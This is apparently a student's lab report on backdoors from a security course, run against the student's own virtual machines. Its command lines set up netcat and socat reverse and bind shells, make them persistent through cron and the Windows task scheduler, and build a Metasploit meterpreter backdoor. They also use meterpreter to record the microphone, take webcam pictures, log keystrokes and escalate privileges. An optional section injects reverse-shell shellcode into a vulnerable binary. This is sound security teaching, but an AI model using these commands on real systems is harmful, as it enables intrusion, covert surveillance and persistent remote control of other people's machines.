Exp2-后门原理与实践
一、常用后门工具
- 1.Netcat 、Socat系列
- 底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。
- 在Linux系统中一般自带netcat,使用man nc命令可以查看使用帮助
- 在Windows系统中,需要下载ncat.rar,解压后可使用
- SoCat相当于Netcat++,一个超级Netcat工具。在Windows下可以下载socat.rar,使用README作为参考。任何代理、转发等功能都可以用该工具实现
- 底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。
- 2.Meterpreter
- 一个用来生成后门程序的程序。
它包含着后门的- 基本功能(基本的连接、执行指令)
- 扩展功能(如搜集用户信息、安装服务等功能)
- 编码模式
- 运行平台
- 运行参数
- 一个用来生成后门程序的程序。
- 3.Intersect
- 4.CHAOS……
本次实验我们主要使用Netcat 、Socat系列以及Meterpreter。
二、实验目标
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell,任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
三、实验环境
环境
主机:Windows 10;
靶机:Kali ;
四、实验内容
1.使用netcat获取主机操作Shell,cron启动
-
kali获取windows的shell
-
(1) 查看kali虚拟机的IP地址
-
(2)在kali虚拟机中开启监听,端口号以学号为基础指定
nc -l -p 1301
-
(3)windows反弹连接Linux,这里首先在windows下进入ncat所在的文件夹,ip的地址为Linux的地址
ncat.exe -e cmd.exe 192.168.116.132 1301
-
(4)Linux下看到Windows的命令提示,验证shell
-
-
2.Windows获取kali虚拟机的shell
-
(1)获取Windows中的IP地址
-
(2)在ncat文件夹目录下打开监听,端口选择类学号数字
ncat.exe -l -p 1301
-
(3)Linux反弹连接windows
nc 192.168.101.99 1301 -e /bin/sh
-
(4)Windows获得kali的shell,使用linux常用指令验证
-
-
3.cron启动
-
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
-
crontab指令增加一条定时任务,"-e"表示编辑
-
第一次编辑需要选择,我们选择2选项
-
设置自启动时间,每个小时的第12分钟执行后面的指令
12 * * * * /bin/netcat 192.168.101.99 1301 -e /bin/sh
-
在相应的时间节点打开监听,这里我们选择主机Windows
-
Windows下任务计划启动
- (1)创建基本任务,在计算机管理的任务计划程序中进行操作
- (2)进行触发器、操作的相关设置
- (3)编辑操作时,在参数中写上以下数据
tcp-listen:1218 exec:cmd.exe,pty,stderr
- (4)等待设置完成
- (5)在Kali中进行socat连接,测试shell
- (5)在Kali中进行socat连接,测试shell
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 1 在Kali上生成后门可执行程序20191301_backdoor.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.132 LPORT=11310 -f exe > 20191301_backdoor.exe
- 2.利用ncat将后门文件传送到Windows下获取终端
ncat.exe -l 11310 > 20191310_backdoor.exe
- 3.MSF
- 启动msf
msfconsole
- 进行相关设置
- 启动msf
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.116.132
set LPORT 1301
- Windows下进行操作,打开后门可执行文件
如果windows发出警报,选择允许选项。
- 获取shell终端
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
获取目标主机音频
record_mic
-
获取目标主机摄像头
webcam_snap
run webcam
可以进行屏幕录制,相当于不间断地用摄像头拍照片,并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件
-
获取击键记录
输入keyscan_start
开始捕获键盘记录,keyscan_dump
获取击键记录
-
截取主机屏幕
-
尝试提权
getsystem
相关博客(https://blog.csdn.net/redwand/article/details/107527710)
基础问题回答
-
- 例举你能想到的一个后门进入到你系统中的可能方式?
浏览网站所附带的软件,或者在不正规的下载网站下载软件 ,以及随意插入未知来源的U盘。
- 例举你能想到的一个后门进入到你系统中的可能方式?
-
- 例举你知道的后门如何启动起来(win及linux)的方式?
Windows中:后门程序作为.exe文件或者快捷方式,被用户点击后启动,或者安装为服务后,进行自启动;
Linux中:例如通过socat和netcat获取shell、反弹连接等
- 例举你知道的后门如何启动起来(win及linux)的方式?
-
- Meterpreter有哪些给你印象深刻的功能?
对其启动隐藏、难以被查杀、生成后门快捷方便等特点印象比较深刻,而且让我最感到厉害的是可以去进行很简单就能完成的提权操作,与之前缓冲区溢出攻击获得提权简单了不少。
- Meterpreter有哪些给你印象深刻的功能?
- 4.如何发现自己有系统有没有被安装后门?
- 1.在防火墙看开启的端口及对应的进程,一般不是系统默认开启的端口都是可疑的
- 2.查看系统日志
- 3.用像360安全卫士、Wsyscheck这类系统安全辅助软件检查系统对外开放的端口,没有可疑的进程使用
实验感受
(1)要警惕未知来源的软件,古话说“无事献殷勤,非奸即盗。”下载软件应该到官方网站下载,盗版软件或下载站点中的软件安装包很难保证安全性,即使有安全软件也很难保证计算机安全。
(2)网络攻击已经集成化、系统化、简易化,集成化的软件、“个性化”的攻击设置,网络攻击不再是某些学科专业人员的特长,目前我国已经有了相关的信息安全法律法规,但落实到个人,仍需要我们保持较高的信息安全意识。
(3)本次实验让我体会到了通过后门攻击的感受,从我们可以获得的工具来完成是十分简单的,但需要注意实验环境是需要去除windows自带的防火墙的威胁的,因此在非实验环境下一定是不容易去完成的,也是因此我感受到了现有防护措施的便捷
总的来说这次实验让我感到有趣且生动让我收获很多
选做实验
参考:https://www.cnblogs.com/cfqlovem-521/p/16069302.html
在两台虚拟机进行远程注入时,存在防火墙的问题,导致虽然可以ping,但无法完成攻击,因此选择
kali1 远程注入 kali1 ,缓冲区溢出攻击,
下面开始远程注入
nc -lvp 1301 -e ./pwn20191301
kali 1
msfconsole 启一个监听,payload用对应的 linux/x86/shell/reverse_nonx_tcp
msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.116.132 LPORT=1301
perl -e 'print "A" x 32;print "\x90\xd1\xff\xff";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x74\x84\x66\x68\x05\x15\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'>hack.bin
地址改变以及payload生成参考实验1和实验2的部分
(cat hack.bin ;cat) | ./pwn20191301